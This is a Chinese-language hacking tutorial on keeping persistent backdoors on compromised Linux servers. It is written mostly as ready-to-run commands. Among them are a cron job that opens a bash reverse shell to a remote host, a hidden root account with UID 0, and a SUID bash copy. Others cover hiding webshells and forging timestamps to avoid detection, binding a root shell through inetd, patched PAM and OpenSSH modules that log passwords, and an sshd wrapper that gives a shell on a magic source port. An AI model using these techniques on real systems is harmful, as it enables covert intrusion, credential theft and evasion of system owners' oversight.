linux留后门方法
0x01.UnixBash 远控后门
简介:
利用unix/linux自带的bash和croud实现远控功能,保持反弹上线到公网机器。
利用方法
先创建 /etc/xxx 脚本文件,利用该脚本进行反弹。一下脚本代表全自动反弹到8.8.8.8的53端口上
nano /etc/xxxx
#!/bin/bash
if netstat -ano | grep -v grep | grep “8.8.8.8”>/dev/null
then
echo "OK">/dev/null
else
/sbin/iptables --policy INPUT ACCEPT
/sbin/iptables --policy OUTPUT ACCEPT
bash -i >& /dev/tcp/8.8.8.8/53 0>&1
fi
chmod +sx /etc/xxx(文件名字自己取就可以了)
然后我们需要修改一下/etc/crontab 让它定时执行
nano /etc/crontab 在/etc/crontab 文件末加上这一行。代表每一分钟执行一次
*/1 * * * * root/etc/xxx
最后重启一下crontab的服务。(不同发行版重启方式不一样,字行查询)
service cron reload
service cron start
然后再8 .8.8.8 的服务器上使用NC接收Shell即可
nc -vv -lp 53
0x02.Linux/unix 藏文件和文件夹
linux/unix下想藏Webshell或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一:
比如创建一个名字开头带. 的webshell或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为.webshell.php的文件
mkdir .backdoor/ 创建名字为.backdoor的文件夹
终极方法
是文件的话浏览器访问直接输 ...就行,目录同理
touch ... 创建名字为 ...的文件
mkdir ... 创建名字为 ...的文件夹
0x03.Linux/unix添加UID为0的用户
简介:
再Unix体系下,UID为0就是root权限。所以渗透的时候可以添加一个UID为0的用户作为后门。
利用方法
useradd -o -u 0 backdoor
0x04.LINUX/UNIX修改文件时间戳
简介
unix下藏后门必须要修改时间,否则很容易被发现,直接利用touch就可以。
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
利用方法:
touch - r index.php webshell.php
或者直接将时间戳改为某年某月某日。如下 2014 年 01 月 02 日
系统环境:
dawg:~# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
0x05.SUID shell
利用方法:
先切换为root用户,并执行以下命令
首先, 先切换成为root用户,并执行以下的命令:
dawg:~# cp /bin/bash /.woot
dawg:~# chmod 4755 /.woot
dawg:~# ls -al /.woot
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot
当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。
文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏) .
现在,作为一个普通用户,我们来启用这个后门
fw@dawg:~$ id
uid=1000(fw) gid=1000(fw) groups=1000(fw)
fw@dawg:~$ /.woot.woot-2.05b$ id
uid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$
为什么不行呢?
因为 bash2 针对 suid有一些护卫的措施. 但这也不是不可破的:
.woot-2.05b$ /.woot -p
.woot-2.05b# id
uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)
使用-p参数来获取一个root shell. 这个euid的意思是 effective user id
这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径。
小知识:
如何查找那些具有SUID 的文件:
dawg:~# find / -perm +4000 -ls
这时就会返回具有SUID位的文件啦。
0x06.远程后门
利用方法
我门使用vi来修改 /etc/inetd.conf 文件
原文件:
#chargen dgram udp wait root internal
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
#daytime stream tcp nowait root internal
修改为:
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
开启inetd:
du:~# inetd
如果要强制重启inetd:
dawg:~# ps -ef grep inetdroot
362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetdroot
13769 13643 0 17:51 pts/1 00:00:00 grep inetd
dawg:~# kill -HUP 362
现在我们就可以用nc来爆菊了:
可以修改/etc/services文件,加入以下的东西:
woot 6666/tcp #evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我们可以修改成一些常见的端口,以实现隐藏。
0x07.PAM后门
1.获取目标系统所使用的PAM版本:
rpm -qa grep pam
2.编译安装PAM
3.将本地pam_unix_auth.c文件通过打补丁方式,编译生成
4.编译完成后的文件在:modules/pam_unix/.libs/pam_unix.so,后门密码为root123,并会在/tmp/pslog记录root登陆密码。
特点
优势:隐蔽性强,不容易发现
劣势:需要编译环境,缺少GCC或者其它依赖包容易出现问题
0x08.openssh后门
简介
下载新版本的openssh,并下载对应patch包,这个patch文件包含sshbd5.9p1.diff文件为后门文件,
文件包括:auth.c、auth-pam.c、auth-passwd.c、canohost.c、includes.h、log.c、servconf.c、sshconnect2.c、sshlogin.c、version.h
利用方法
tar -zxvf openssh-5.9p1.tar.gz
vi includes.h //修改后门密码,记录文件位置
/*
#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
#define SECRETPW "root123" //你后门的密码
*/
特点:
优势:隐蔽性较强,不容易被发现
劣势:需要编译环境,缺少GCC或其它依赖包容易出现问题
0x09.快速获得ssh后门
简介
执行命令就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。
利用方法:
在远程主机上执行:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。
特点:
优势:隐蔽性弱,适合短时间连接
劣势:重启后会断开,无法后弹连接
0x10.SSH wrapper后门
简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。
此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
利用方法:
客户端:
[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart
控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526
特点:
优势:隐蔽性较强,无需要编译,使用于大部分环境中。
劣势:需要重启sshd进程。
0x11.mafix rootkit创建后门
简介
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。
利用方法:
安装完成后,使用ssh用户@ip -p 配置的端口,即可远程登陆
特点:
优势:隐蔽性一般,无需要编译。
劣势:会替换ls等命令,容易被识破